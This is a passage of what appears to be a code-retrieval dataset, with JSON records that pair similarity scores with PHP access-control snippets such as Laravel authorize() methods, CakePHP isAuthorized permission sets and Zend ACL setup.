abort(403);\n }\n return true;\n }", "title": "" }, { "docid": "106229ae9ac15d60a046c42622f003fc", "score": "0.62773526", "text": "public function authorize() {\n $action = $this->route()->getAction();\n\n $status = Auth::guard('admin')->user()->can($action['as'], 'store');\n if (empty($status)) {\n abort(403);\n }\n return true;\n }", "title": "" }, { "docid": "ae990a51eebca59f604d5992fa639de5", "score": "0.62683827", "text": "public function authorize() {\n\t\t$this->authorized = true;\n\t}", "title": "" }, { "docid": "903f3f078226ab9dcaecf2b28699c167", "score": "0.6265621", "text": "public function preDispatch()\n {\n $acl = new ResourceAcl( $this->resource );\n \n $user = null;\n try\n {\n // Get the logged in user\n $user = User::getLoggedInUser();\n }\n // If no user is logged in, create a blank user\n catch( UserException $e )// TODO: ensure that it's the right exception\n {\n $user = new User();\n }\n \n // Get the action\n $action = $this->_getParam('action');\n \n // Check permissions\n // If not permitted, fail\n if( !$acl->isAllowed($user, $action) )\n {\n throw new ResourceControllerException(\n \"The requested action ($action) is not permitted for this user.\",\n 0\n );\n }\n }", "title": "" }, { "docid": "47467235771b3418ebafbb0bfb548200", "score": "0.6261749", "text": "public function authorize()\n {\n $accessor = $this->user();\n $user = $this->route('user');\n\n return ($accessor->isAdmin() || $accessor->hasKey('delete-users')) && \n $accessor->id !== $user->id;\n }", "title": "" }, { "docid": "6d5bc2f7f0e1ad478ab6809e03a1be74", "score": "0.62537444", "text": "public function beforeFilter()\n\t{\n\t\tparent::beforeFilter();\n\t\t$this->Auth->deny();\n\n\t\tif ( ! $this->isAuthorized( $this->Auth->user('id') ) && ! in_array($this->action, array('edit', 'delete')) ) // check if user is OwnedBy and is editing or deleting\n\t\t{\n\t\t\t// Acl Extras Plugin => Enable\n\t\t\t//$this->Auth->authorize = 'actions';\n\t\t\t//$this->Auth->actionPath = 'controllers/';\n\t\t}\n\t}", "title": "" }, { "docid": "a94dfca9a2167a21f0a4cf1902aa9dfb", "score": "0.6246918", "text": "public function authorize(): bool\n {\n if ($thread = $this->route('thread')) {\n return $this->isAllowed('manage', $thread, false);\n }\n\n return $this->isAuthenticated();\n }", "title": "" }, { "docid": "29f7da866e473a95c5de4a5c25350fc2", "score": "0.62463206", "text": "function isAuthorized() {\n\t\t$retval = $this->__permittedActions($this->name, $this->action);\n\t\treturn $retval;\n\t}", "title": "" }, { "docid": "f9161d4ce0bf838ca32fac3babb40434", "score": "0.6242895", "text": "private function isAuthorized(): void\n {\n $isAuthorized = $this->authorize->isAuthorized();\n\n if (!$isAuthorized) {\n $this->redirect->redirect('/');\n }\n }", "title": "" }, { "docid": "f9161d4ce0bf838ca32fac3babb40434", "score": "0.6242895", "text": "private function isAuthorized(): void\n {\n $isAuthorized = $this->authorize->isAuthorized();\n\n if (!$isAuthorized) {\n $this->redirect->redirect('/');\n }\n }", "title": "" }, { "docid": "120024147e0d07455ff16dadfcf576c7", "score": "0.6209997", "text": "protected function _isAuthorized() {\n /*\n * Grant READ access to all authenticated users.\n */\n return $this->getAuthenticatedUserId() !== null;\n }", "title": "" }, { "docid": "9b94895dc20d68381be023e36dfdb70f", "score": "0.6203423", "text": "public function authorize()\n {\n return $this->user() && ! $this->user()->hasApplied($this->route('listings'));\n }", "title": "" }, { "docid": "9e8631132794791864bd80912d553a3b", "score": "0.6203352", "text": "protected function control()\n {\n $this->getAcl()->allow('anonymous', 'Application');\n $this->getAcl()->deny('anonymous', 'Admin');\n \n $this->getAcl()->allow('administrator');\n }", "title": "" }, { "docid": "023c58b4d3b031425bb56a2900334a39", "score": "0.6198288", "text": "public function authorize()\n {\n $category = ExpenseCategory::find(request()->segment(3));\n return auth()->user()->can('update', $category);\n }", "title": "" }, { "docid": "65a364c454557426b27c109520dbd6d2", "score": "0.6196926", "text": "public function authorize()\n {\n return $this->check([\n 'hasAccess',\n ]);\n }", "title": "" }, { "docid": "b603c020266fe703daa11dd1efd17072", "score": "0.61927354", "text": "public function authorize(): bool\n {\n return $this->check([\n 'hasAccess',\n ]);\n }", "title": "" }, { "docid": "2ae53ffae5fcfcbaec79518e35f63a63", "score": "0.6186579", "text": "function isAuthorized() {\n $roles = $this->Role->calculateCMRoles(); // What was authenticated\n \n // Store the group ID in the controller object since performRedirect may need it\n \n if(($this->action == 'add' || $this->action == 'updateGroup' || $this->action == 'addMemberById')\n && isset($this->request->data['CoGroupMember']['co_group_id'])) {\n $this->gid = filter_var($this->request->data['CoGroupMember']['co_group_id'], FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_HIGH | FILTER_FLAG_STRIP_LOW | FILTER_FLAG_STRIP_BACKTICK);\n } elseif(($this->action == 'delete' || $this->action == 'edit' || $this->action == 'view')\n && isset($this->request->params['pass'][0])) {\n $this->gid = $this->CoGroupMember->field('co_group_id', array('CoGroupMember.id' => $this->request->params['pass'][0]));\n } elseif(($this->action == 'select' || $this->action == 'index')) {\n if(!empty($this->request->params['named']['cogroup'])) {\n $this->gid = filter_var($this->request->params['named']['cogroup'], FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_HIGH | FILTER_FLAG_STRIP_LOW | FILTER_FLAG_STRIP_BACKTICK);\n } elseif(!empty($this->request->params['pass'][0])) {\n $this->gid = $this->CoGroupMember->field('co_group_id', array('CoGroupMember.id' => $this->request->params['pass'][0]));\n }\n }\n \n $managed = false;\n $owner = false;\n $member = false;\n \n if(!empty($roles['copersonid']) && isset($this->gid)) {\n $managed = $this->Role->isGroupManager($roles['copersonid'], $this->gid);\n \n $gm = $this->CoGroupMember->find('all', array('conditions' =>\n array('CoGroupMember.co_group_id' => $this->gid,\n 'CoGroupMember.co_person_id' => $roles['copersonid'])));\n \n if(isset($gm[0]['CoGroupMember']['owner']) && $gm[0]['CoGroupMember']['owner'])\n $owner = true;\n \n if(isset($gm[0]['CoGroupMember']['member']) && $gm[0]['CoGroupMember']['member'])\n $member = true;\n }\n \n // Is this specified group read only?\n $readOnly = ($this->gid ? $this->CoGroupMember->CoGroup->readOnly($this->gid) : false);\n \n // If this user is an CMP or CO admin, make this known to the controller:\n $this->isCmpAdmin = $roles['cmadmin'];\n $this->isCoAdmin = $roles['coadmin'];\n\n // Construct the permission set for this user, which will also be passed to the view.\n $p = array();\n \n // Add a new member to a group?\n // XXX probably need to check if group is open here and in delete\n $p['add'] = !$readOnly && ($roles['cmadmin'] || $roles['coadmin'] || $managed);\n \n // Delete a member from a group?\n $p['delete'] = !$readOnly && ($roles['cmadmin'] || $roles['coadmin'] || $managed);\n \n // Edit members of a group?\n $p['edit'] = !$readOnly && ($roles['cmadmin'] || $roles['coadmin'] || $managed);\n \n // View a list of members of a group?\n $p['index'] = ($roles['cmadmin'] || $roles['coadmin'] || $managed || $member);\n \n // Select from a list of potential members to add?\n $p['select'] = !$readOnly && ($roles['cmadmin'] || $roles['coadmin'] || $managed);\n \n // Update accepts a CO Person's worth of potential group memberships and performs the appropriate updates\n $p['update'] = !$readOnly && ($roles['cmadmin'] || $roles['coadmin'] || $roles['comember']);\n \n // Select from a list of potential members to add?\n $p['updateGroup'] = !$readOnly && ($roles['cmadmin'] || $roles['coadmin'] || $managed);\n\n // Add member by ID\n $p['addMemberById'] = !$readOnly && ($roles['cmadmin'] || $roles['coadmin'] || $managed);\n\n // (Re)provision an existing CO Group? This permission grants access to the Provisioned Services tab\n $p['provision'] = ($roles['cmadmin'] || $roles['coadmin'] || $roles['couadmin']);\n \n // Search / filter a list of members in the select list?\n // We need co member so group owners can search for purposes of adding members\n $p['search'] = $roles['cmadmin'] || $roles['coadmin'] || $managed || $roles['comember'];\n \n // View members of a group?\n $p['view'] = ($roles['cmadmin'] || $roles['coadmin'] || $managed || $member);\n\n // View nested group? This determines if we build links to nested groups for a user.\n // We skip $managed because the user may have no rights to view the source group.\n $p['viewNestedGroup'] = ($roles['cmadmin'] || $roles['coadmin'] || $roles['couadmin']);\n\n // View any user's canvas page? This is used when creating links to CoPerson canvas from the select view.\n // Limit this to platform and CO admins\n $p['viewUserCanvas'] = ($roles['cmadmin'] || $roles['coadmin']);\n \n $this->set('permissions', $p);\n return $p[$this->action];\n }", "title": "" }, { "docid": "7732e3ab483372b00fdc2cb4b472004f", "score": "0.6185322", "text": "public function authorize()\n {\n return $this->user()->isAuthorizeToDo('create_user'); // the current user has authorize to do this action // handle this request\n // the current user able to hanle apprequest or not\n // true or false\n }", "title": "" }, { "docid": "389d185711adca20471037cf0fc0e191", "score": "0.61702114", "text": "public function isAuthorized() {\n }", "title": "" }, { "docid": "ab2efc56a0b31b8d4864a14ea7ab0e46", "score": "0.61593556", "text": "public function authorize()\n {\n return hasPermission('config_management');\n }", "title": "" }, { "docid": "47f5f6ef32e8e61162898128dd80a95d", "score": "0.6154592", "text": "public function authorize()\n {\n\n $user = auth()->user();\n\n if ($user) {\n\n return $this->route('user') == $user->id || parent::authorize();\n\n }\n\n return parent::authorize();\n\n }", "title": "" }, { "docid": "ee7af7835fdae0f354ca4a681cfddbe7", "score": "0.6150994", "text": "public function isAuthorized();", "title": "" }, { "docid": "ee7af7835fdae0f354ca4a681cfddbe7", "score": "0.6150994", "text": "public function isAuthorized();", "title": "" }, { "docid": "d50d7ddec9540e753c0b9d184545f4b6", "score": "0.61451954", "text": "public function authorize()\n {\n $canAdd = Voyager::can('add_invoices');\n $canUpdate = Voyager::can('edit_invoices');\n if($canAdd && $canUpdate)\n {\n return true;\n }\n else\n {\n // fix this with redirection\n return false;\n }\n }", "title": "" }, { "docid": "a981d993bb17cac28179f71252f3c701", "score": "0.614476", "text": "public function authorize()\n {\n\n $id = $this->route('user');\n $user = User::findOrFail($id);\n if (Auth::User() && (Auth::User()->can('add_courses')) || compareObjects($user, Auth::User())) {\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "4ef3bc0fbfe5036e612cd65bf11fbf7c", "score": "0.61433303", "text": "public function beforeDispatch( $dispatcher )\n\t{\n $auth = $this->session->get(\"auth\");\n if (!$auth) {\n $role = \"guests\";\n } else {\n $role = \"users\";\n }\n\n // Take the active controller/action from the dispatcher\n $controller = $dispatcher->getControllerName();\n $action = $dispatcher->getActionName();\n\t\t\n // Obtain the ACL list\n $acl = $this->getAcl();\n\t\t\n // Check if the Role have access to the controller (resource)\n $allowed = $acl->isAllowed($role, $controller, $action);\n if ($allowed == AclList::DENY) {\n\t\t\t\n // If he does not have access, forward him to the index controller\n $this->flash->error(\"You don't have access to this module\");\n return $dispatcher->forward(\n array(\n \"controller\" => \"index\",\n \"action\" => \"index\"\n )\n );\n }\n\t}", "title": "" }, { "docid": "2970e6365216f1fdfcf415060a41542f", "score": "0.61412716", "text": "public function preDispatch( Zend_Controller_Request_Abstract $request )\n {\n parent::preDispatch( $request );\n\n $acl = new Zend_Acl();\n //adding Roles\n $acl->addRole( new Zend_Acl_Role( \"\" ) )\n ->addRole( new Zend_Acl_Role( \"guest\" ) , \"\" )\n ->addRole( new Zend_Acl_role( \"user\" ) , \"guest\" )\n ->addRole( new Zend_Acl_role( \"admin\" ) , \"user\" );\n //Adding Resources\n $acl->add( new Zend_Acl_Resource( \"default\" ) )\n ->add( new Zend_Acl_Resource( \"admin\" ) )\n ->add( new Zend_Acl_Resource( \"user\" ) )\n ->add( new Zend_Acl_Resource( \"error\" ) );\n\n //set up access a roles\n $acl->allow( null , array( \"error\" , \"error\" ) );\n\n\n\n //set up access a Guest\n\n\n $acl->allow( \"guest\" , \"default\" );\n\n //access a user\n $acl->allow( \"user\" , \"default\" );\n $acl->allow( 'user' , 'user' );\n\n\n //access of admistrator\n $acl->allow( 'admin' , null );\n\n\n $auth = Zend_Auth::getInstance();\n\n if ( $auth->hasIdentity() )\n {\n $identity = $auth->getIdentity();\n $role = strtolower( $identity->role );\n }\n else\n {\n $role = 'guest';\n }\n\n $module = $request->module;\n $controller = $request->controller;\n $action = $request->action;\n\n if ( !$acl->isAllowed( $role , $module , $controller , $action ) )\n {\n if ( $role == 'guest' or $role === \"\" )\n {\n $request->setModuleName( 'default' );\n $request->setControllerName( 'usuario' );\n $request->setActionName( 'index' );\n }\n else\n {\n $request->setModuleName( 'default' );\n $request->setControllerName( \"error\" );\n $request->setActionName( \"noauth\" );\n }\n }\n }", "title": "" }, { "docid": "3ff472b59639a222c7246c3ccb3e2c8b", "score": "0.6138456", "text": "public function authorize()\n {\n // all who has permission\n return true;\n }", "title": "" }, { "docid": "841e5d5b6efd0116fa65fd2439bf482a", "score": "0.61314756", "text": "public function authorize()\n {\n //prevent delete User:Admin in function destroy in class userController\n // because when we delete user(conatin Posts) we will move them to user:admin\n return !($this->route('user')==config('blog_cms.admin_id') || $this->route('user')==auth()->user()->id);\n }", "title": "" }, { "docid": "daca58981e85bea42f5160cf8b4a4e85", "score": "0.6128892", "text": "public function authorize()\n {\n if ($this->method() === 'POST') {\n return $this->user()->can('create', Rule::class);\n }\n\n return $this->user()->can('update', Rule::class);\n }", "title": "" }, { "docid": "778d96b3ad031655fa6be347597d92db", "score": "0.61238605", "text": "public function onKernelController(FilterControllerEvent $event)\n {\n if (!is_array($controller = $event->getController())) {\n return;\n }\n\n $className = get_class($controller[0]);\n $object = new \\ReflectionClass($className);\n $method = $object->getMethod($controller[1]);\n\n $classPermissions = $this->getPermissions($this->reader->getClassAnnotations($object));\n $methodPermissions = $this->getPermissions($this->reader->getMethodAnnotations($method));\n\n if (empty($classPermissions) && empty($methodPermissions)) {\n return;\n }\n\n $permissions = array_merge($classPermissions, $methodPermissions);\n\n if (!in_array($this->getInstance($event)->getPermissions(), $permissions)) {\n throw new AccessDeniedException('Access denied');\n }\n }", "title": "" }, { "docid": "79a863b0d3bade4361119013647c4b75", "score": "0.6123426", "text": "public function authorize()\n {\n $carId = $this->route('car');\n return Car::where('id', $carId)\n ->where('user_id', Auth::id())->exists();\n }", "title": "" }, { "docid": "862f2d833e96dfe116cb39f2e073e367", "score": "0.6120367", "text": "function isAuthorized(){\n return $this->__permitted($this->name,$this->action);\n }", "title": "" }, { "docid": "98889e4f70b0c62ae77eadd3bdffe099", "score": "0.61151403", "text": "public function authorize()\n {\n if ($this->method() === 'POST') {\n return auth()->user()->can('create-orders');\n }\n if ($this->method() === 'PUT') {\n return auth()->user()->can('update-orders');\n }\n }", "title": "" }, { "docid": "1b6a3c96509c51728c18eb22ddc4ef07", "score": "0.6108074", "text": "public function authorize()\n {\n $resource = new Resource();\n\n # If this resource is not user restricted, then everyone is authorized\n if (!$resource->userRestricted) {\n return true;\n }\n\n # If they're not logged in, they can't be authorized\n if (!$this->user()) {\n return false;\n }\n\n # If the request includes an id, we need to find that resource by id\n # and check that its user_id matches the id of the requesting user\n if (!is_null($this->route('id'))) {\n return $this->user()->id == $resource->find($this->route('id'))->user_id;\n }\n\n # If they passed all the above tests, we can assume they're authorized\n return true;\n\n # Note: If this function returns false, it will return a AccessDeniedHttpException which is\n # handled in /app/Exceptions/handler.php\n }", "title": "" }, { "docid": "99c2f70cd40dcc83724af4fecbc2ed3e", "score": "0.6107219", "text": "public function authorize()\n {\n $activity = $this->route('activity');\n\n if ( $activity ) {\n return $activity && $this->user()->can('update', $activity);\n } else {\n return $this->user()->can('create', Activity::class);\n }\n }", "title": "" }, { "docid": "65c29d91fac65e74497808631b6e4b85", "score": "0.61066574", "text": "public function authorize(): bool\n {\n return (\n $this->route('note')->public ||\n ($this->user('api') && $this->route('note')->author_id === $this->user('api')->id)\n );\n }", "title": "" }, { "docid": "8f5796b47b92d878d279cc7ad0c1b777", "score": "0.61034733", "text": "public function authorize()\n {\n return $this->cashFlow->user_id === auth()->id();\n }", "title": "" }, { "docid": "8f5796b47b92d878d279cc7ad0c1b777", "score": "0.61034733", "text": "public function authorize()\n {\n return $this->cashFlow->user_id === auth()->id();\n }", "title": "" }, { "docid": "333f6541bc8095c310267da4f3bdb2de", "score": "0.6102776", "text": "public function authorize()\n {\n // TODO: use policy\n return true;\n }", "title": "" }, { "docid": "2f16d059ff37ecd0c80638bc80865539", "score": "0.6100653", "text": "public function authorize()\n {\n $user = Auth::user();\n $course = Course::find($this->route('id'));\n return $user->can('course-destroy') || $user->id == $course->creator_id;\n }", "title": "" }, { "docid": "53c5f0c4fa8207a234a9b417437c4cd4", "score": "0.6098155", "text": "public function authorize()\n {\n $user = (new UsersRepository(new User()))->findById($this->route()->parameter('customer_id'));\n if($user == null || !$user->isCustomer())\n return false;\n\n return ($this->user()->can('view','customers'));\n }", "title": "" }, { "docid": "2a9979ccd4969ebcec0d93a387c85b47", "score": "0.608587", "text": "public function authorize()\n {\n $card = $this->findFromUrl('koornbeurs_card');\n return $this->user()->can('update', $card);\n }", "title": "" }, { "docid": "0100c2aada1683446958e4e76f2103ba", "score": "0.6082505", "text": "public function authorize()\n {\n // We could add logic to see if the user is authorized here,\n // but we'll just return true for now.\n return true;\n }", "title": "" }, { "docid": "60b8d260805b0c86c2fcfbbbc58cd913", "score": "0.6073986", "text": "public function authorize()\n {\n // Returns true because permission control works on admin route middleware\n return true;\n }", "title": "" }, { "docid": "7339d86aa06adcce1385fb6910ccae8a", "score": "0.6072071", "text": "public function authorize()\n {\n return $this->authorizeResourceExist();\n }", "title": "" }, { "docid": "60c914005cf86084c39212f05c02b06e", "score": "0.60630983", "text": "public function authorize()\n {\n return true; // todo auth if needed validate here\n }", "title": "" }, { "docid": "7a70d7a8076d2dda02f97613bd8045b9", "score": "0.60599077", "text": "public function authorize()\n\t{\n\n\t\treturn true;\n\t}", "title": "" }, { "docid": "04a90edac8b375086f5195c388a66464", "score": "0.6059171", "text": "abstract public function afterAuthorization();", "title": "" }, { "docid": "015adf5296b3b9b453f85d2e7086b6da", "score": "0.6056435", "text": "public function authorize()\n {\n $user_id = $this->route('user_id');\n\n if ($tag_id = $this->input('id'))\n {\n return $this->user()->can('update', [Tag::class, $user_id, $tag_id]);\n }\n return $this->user()->can('create', [Tag::class, $user_id]);\n }", "title": "" }, { "docid": "adc35a96694d73041eb8bde60a1a3a34", "score": "0.6055959", "text": "public function authorize()\n {\n // Only authenticated user can make this request\n if (Auth()->check())\n {\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "b04a9d468352ea8c2e370269da9213f6", "score": "0.6055834", "text": "public function authorize()\n {\n return $this->user()->can('viewAny', $this->model_classname);\n }", "title": "" }, { "docid": "9cf6ba006cbf1cfcc20d47f657379d95", "score": "0.60552", "text": "public function authorize()\n {\n \t$order = $this->route('order');\n \t$user = Auth::user();\n return $user->is_contractor && $order->can_assign_bids;\n }", "title": "" }, { "docid": "432a8bb26e96ea20aa977481f12f0036", "score": "0.60516346", "text": "public function authorize()\n {\n return crosscheckCartOwnership($this, $this->route('cart'));\n }", "title": "" }, { "docid": "f813ad5bcbc4d51633eef424e62be0d4", "score": "0.60497195", "text": "public function checkAccess($controller)\n {\n\t\treturn true;\n }", "title": "" }, { "docid": "f3f04162cb92280c19c9d4da50fdfcaf", "score": "0.604656", "text": "public function authorize()\n {\n return $this->user()->can('select-award');\n }", "title": "" }, { "docid": "485220574988ad2775e649a076098bd0", "score": "0.6040178", "text": "public function authorize()\n {\n return $this->user()->can('shifts.update', $this->route('shift'));\n }", "title": "" }, { "docid": "00ffd7cb1fd22bbcdebd200067b5e0d0", "score": "0.604006", "text": "public function authorize()\n {\n $user = Auth::user();\n\n $foodAddition = new FoodAddition();\n\n if(!$user->can('list-food-addition') || (!$user->can('list', $foodAddition))) {\n return false;\n }\n\n return true;\n }", "title": "" }, { "docid": "e013bb6d404377165440c6d7a8069bf5", "score": "0.60371304", "text": "public function authorize()\n {\n return access()->hasRole(1);\n }", "title": "" }, { "docid": "870e4a4704d0edf8e5dd70ad60ba5d6d", "score": "0.6033936", "text": "public function authorize()\n {\n return \\Auth::user()->hasRole('admin') or \\Auth::user()->hasPermission('manage-random-index');\n }", "title": "" }, { "docid": "e229222777a491909867bad7a6f38833", "score": "0.60329336", "text": "protected function checkPermissions()\n {\n foreach ($this->permissions as $crudPermission => $userPermission) {\n if ($this->currentUser->can($userPermission)) {\n $this->crud->allowAccess($crudPermission);\n } else {\n $this->crud->denyAccess($crudPermission);\n }\n }\n }", "title": "" }, { "docid": "a3a47f98123537cd6a08abfbdd67f481", "score": "0.6024714", "text": "function isAuthorized() {\n // Unlike most other controllers, this one only supports viewing data. History records\n // are generally created by other parts of the application, invoking the model. To enforce\n // this, we simply don't set permission for most actions.\n \n $roles = $this->Role->calculateCMRoles();\n $pids = $this->parsePersonID(\n !empty($this->request->data) ? $this->request->data : $this->Api->getData()\n );\n \n $managed = false;\n $groupManaged = false;\n \n // For index views, we need to make sure the viewer has permission to see\n // records associated with the requested person.\n \n $pool = $this->CmpEnrollmentConfiguration->orgIdentitiesPooled();\n \n if(!empty($roles['copersonid'])) {\n if($this->action == 'view') {\n if(!empty($this->request->params['pass'][0])) {\n // We need to pull the record to determine authz\n \n $args = array();\n $args['conditions']['HistoryRecord.id'] = $this->request->params['pass'][0];\n $args['contain'] = false;\n \n $hr = $this->HistoryRecord->find('first', $args);\n \n if(!empty($hr)) {\n if(!empty($hr['HistoryRecord']['co_person_id'])) {\n $managed = $this->Role->isCoOrCouAdminForCoPerson($roles['copersonid'],\n $hr['HistoryRecord']['co_person_id']);\n } elseif(!empty($hr['HistoryRecord']['org_identity_id'])) {\n $managed = $this->Role->isCoOrCouAdminForOrgIdentity($roles['copersonid'],\n $hr['HistoryRecord']['org_identity_id']);\n }\n \n // Calculate $groupManaged separately, since a group owner may not otherwis.\n // have permission based on the subject of the record\n if(!empty($hr['HistoryRecord']['co_group_id'])) {\n $groupManaged = $this->Role->isGroupManager($roles['copersonid'],\n $hr['HistoryRecord']['co_group_id']);\n }\n }\n }\n } else {\n // Note the order of evaluation is important here. Since group managers might\n // not be CO/U admins, we evaluate that last. If a non-admin group manager tries\n // to post a CO Person or Org Identity ID in the URL, this will result in Permission\n // Denied. This is intentional, since otherwise index() will build a query with\n // these IDs (ie: there is no further authz check there).\n \n if(!empty($pids['copersonid'])) {\n $managed = $this->Role->isCoOrCouAdminForCoPerson($roles['copersonid'],\n $pids['copersonid']);\n } elseif(!empty($pids['orgidentityid'])) {\n $managed = $this->Role->isCoOrCouAdminForOrgIdentity($roles['copersonid'],\n $pids['orgidentityid']);\n } elseif(!empty($this->request->params['named']['cogroupid'])) {\n $groupManaged = $this->Role->isGroupManager($roles['copersonid'], $this->request->params['named']['cogroupid']);\n }\n }\n } elseif($pool) {\n // We won't get here for a CO Person's history even if pooled because roles[copersonid]\n // will be set. This is intentional -- we prefer to know the CO Person ID of the\n // current user if possible. That only won't be the case when pooled and examining org\n // identity history, since there is no CO in the current context.\n \n if(!empty($pids['orgidentityid'])) {\n $managed = $this->Role->isCoOrCouAdminForOrgIdentity(null,\n $pids['orgidentityid'],\n $this->Session->read('Auth.User.username'));\n }\n }\n \n // Construct the permission set for this user, which will also be passed to the view.\n $p = array();\n \n // Determine what operations this user can perform\n\n $p['add'] = (($pids['copersonid'] || $pids['orgidentityid'])\n && ($roles['cmadmin']\n || ($roles['apiuser'] && ($roles['cmadmin'] || $roles['coadmin']))\n || ($managed && ($roles['coadmin'] || $roles['couadmin']\n || ($pool &&\n ($roles['admin'] || $roles['subadmin']))))));\n \n // View history records?\n // We could allow $self to view own records, but for the moment we don't (for no specific reason)\n $p['index'] = ($roles['cmadmin']\n || ($roles['apiuser'] && ($roles['cmadmin'] || $roles['coadmin']))\n || ($managed && ($roles['coadmin'] || $roles['couadmin']\n || ($pool &&\n ($roles['admin'] || $roles['subadmin']))))\n || $groupManaged);\n \n if($this->action == 'index' && $p['index']) {\n // Determine which COUs a person can manage, needed for index() to filter records\n \n if($roles['cmadmin'] || $roles['coadmin']) {\n $p['cous'] = $this->HistoryRecord->CoPerson->CoPersonRole->Cou->allCous($this->cur_co['Co']['id']);\n } elseif(!empty($roles['admincous'])) {\n $p['cous'] = $roles['admincous'];\n } else {\n // This should only be empty if there are no COUs. A COU Admin must be an\n // admin of at least one COU. It will also be empty if org identities are pooled\n // since there are no COUs in the current context.\n $p['cous'] = array();\n }\n }\n \n // View a single history record?\n $p['view'] = ($roles['cmadmin']\n || ($roles['apiuser'] && ($roles['cmadmin'] || $roles['coadmin']))\n || ($managed && ($roles['coadmin'] || $roles['couadmin']\n || ($pool &&\n ($roles['admin'] || $roles['subadmin']))))\n || $groupManaged);\n \n $this->set('permissions', $p);\n return $p[$this->action];\n }", "title": "" }, { "docid": "367f10f656b25149d512767d006fd09e", "score": "0.6023445", "text": "function checkRules($controller, $action, $requestArguments = array(), $userId = null)\n\t{\n\t\tif(is_object($controller) && is_a($controller, 'Controller'))\n\t\t{\n\t\t\t$controllerName = $controller->name;\n\t\t\t$controllerClassName = get_class($controller);\n\t\t\t$controllerObject = $controller;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$controllerName = Inflector::camelize($controller);\n\t\t\t$controllerClassName = sprintf('%sController', $controllerName);\n\t\t\t$controllerObject = null;\n\t\t}\n\n\t\t$authRules = $this->getAuthRules($controllerClassName, $action, $requestArguments);\n\n\t\tforeach($authRules as $authRule)\n\t\t{\n\t\t\t$ruleQualifier = explode('.', $authRule['ruleName']);\n\t\t\t$ruleArguments = $authRule['ruleArguments'];\n\t\t\tarray_unshift($ruleArguments, $userId);\n\n\t\t\t$callback = array();\n\n\t\t\tswitch($ruleQualifier[0])\n\t\t\t{\n\t\t\t\tcase 'Model':\n\t\t\t\t\t$callback = array(ClassRegistry::init($ruleQualifier[1]), sprintf('%sRule', $ruleQualifier[2]));\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'Controller':\n\t\t\t\t\tif($controllerObject == null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif(!class_exists($controllerClassName))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tApp::import('Controller', $controllerName);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t$controllerObject = new $controllerClassName();\n\t\t\t\t\t\t$controllerObject->constructClasses();\n\t\t\t\t\t}\n\n\t\t\t\t\t$callback = array($controllerObject, sprintf('%sRule', $ruleQualifier[1]));\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\t$callback = array($this, sprintf('%sRule', $ruleQualifier[0]));\n\t\t\t}\n\n\t\t\tif(call_user_func_array($callback, $ruleArguments))\n\t\t\t{\n\t\t\t\tif(Configure::read() > 0)\n\t\t\t\t{\n\t\t\t\t\t$userName = $this->check('Auth.User.username') ? $this->read('Auth.User.username') : 'anonymous';\n\t\t\t\t\tCakeLog::write('authorization', sprintf('Access on action \"%s::%s\" granted to user \"%s\" by authorization rule \"%s\".',\n\t\t\t\t\t\t$controllerClassName, $action, $userName, $authRule['ruleName']\n\t\t\t\t\t));\n\t\t\t\t}\n\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\tif(Configure::read() > 0)\n\t\t{\n\t\t\t$userName = $this->check('Auth.User.username') ? $this->read('Auth.User.username') : 'anonymous';\n\t\t\tCakeLog::write('authorization', sprintf('Access on action \"%s::%s\" denied for user \"%s\".',\n\t\t\t\t$controllerClassName, $action, $userName\n\t\t\t));\n\t\t}\n\n\t\treturn false;\n\t}", "title": "" }, { "docid": "e0af90a916d6ac56fe6ee3ddcdc1be3b", "score": "0.6016216", "text": "public function authorize()\n {\n $user = Auth::user();\n\n $accommodationUnit = AccommodationUnit::find($this->all()['id']);\n\n if((!$user->can('delete', $accommodationUnit)) || (!$user->can('delete-accommodation-unit'))) {\n return false;\n }\n\n return true;\n }", "title": "" }, { "docid": "1d8d1921509b0e3c0d42049250591495", "score": "0.6015987", "text": "public function isAccessGranted() {\n\t\t\n\t\tif ($this->system_status) {\n\t\t\tif (!isset($_SESSION[\"login\"])) {\n\t\t\t\tredirect(\"auth\");\n\t\t\t}\n\t\t\telseif ((!isset($_SESSION['id_properti'])) && ($_SESSION['id_akses'] != 1)) {\n\t\t\t\tredirect(\"auth/kelompokproperti\");\n\t\t\t}else{\n\t\t\t\t$CI =& get_instance();\n\t\t\t\t$CI->db->where(array('id_role' => $this->getUserRole(), 'controller_name' => $this->getController()));\n\t\t\t\t$query = $CI->db->get('controller_access');\n\t\t\t\t\n\t\t\t\tif ($query->num_rows() < 1) {\n\t\n\t\t\t\t\tredirect(\"home\");\n\t\n\t\t\t\t} \n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "dfe8e91799b1c6e96b2440769a0d98f9", "score": "0.6015709", "text": "public function authorize()\n {\n $id = $this->route('categoria');\n\n return Categoria::where('id', $id)->exists();\n }", "title": "" }, { "docid": "b503f56798fdc001aefa449715b02725", "score": "0.60150975", "text": "public function authorize()\n {\n switch ($this->method()) {\n case 'POST': {\n return auth()->check();\n }\n case 'PATCH':\n case 'DELETE': {\n return Gate::allows('update', $this->card);\n }\n default: return false;\n }\n }", "title": "" }, { "docid": "2e65ac1e261f2e67c9a08a150b61ff34", "score": "0.60141677", "text": "public function authorize()\n {\n\t\treturn $this->user()->can('update', $this->collection);\n }", "title": "" }, { "docid": "3a1718a1e4e58ea37ed525308c14f3ed", "score": "0.6013134", "text": "public function authorize()\n {\n return $this->user()->can('backend_add_casestagedetails');\n }", "title": "" }, { "docid": "4fdec1914dca8328a9d40aad954a700e", "score": "0.6010056", "text": "public function authorize(): bool\n {\n return $this->user()->can('create', [TarfinCardTransaction::class, $this->route('tarfin_card')]);\n }", "title": "" }, { "docid": "62c68e3b5fed74896364b65a0a651e2c", "score": "0.5994943", "text": "public function authorize()\n {\n\t\t$user = User::find($this->route('user'));\n\n\t\t//return $comment && $this->user()->can('update', $comment);\n\t\treturn true;\n }", "title": "" }, { "docid": "a384225da7f0f783ad541e5c11c6d72b", "score": "0.599476", "text": "public function authorize()\n {\n return \\Auth::user()->hasRole('admin') or \\Auth::user()->hasPermission('manage-subscriber-group-detail');\n }", "title": "" } ]
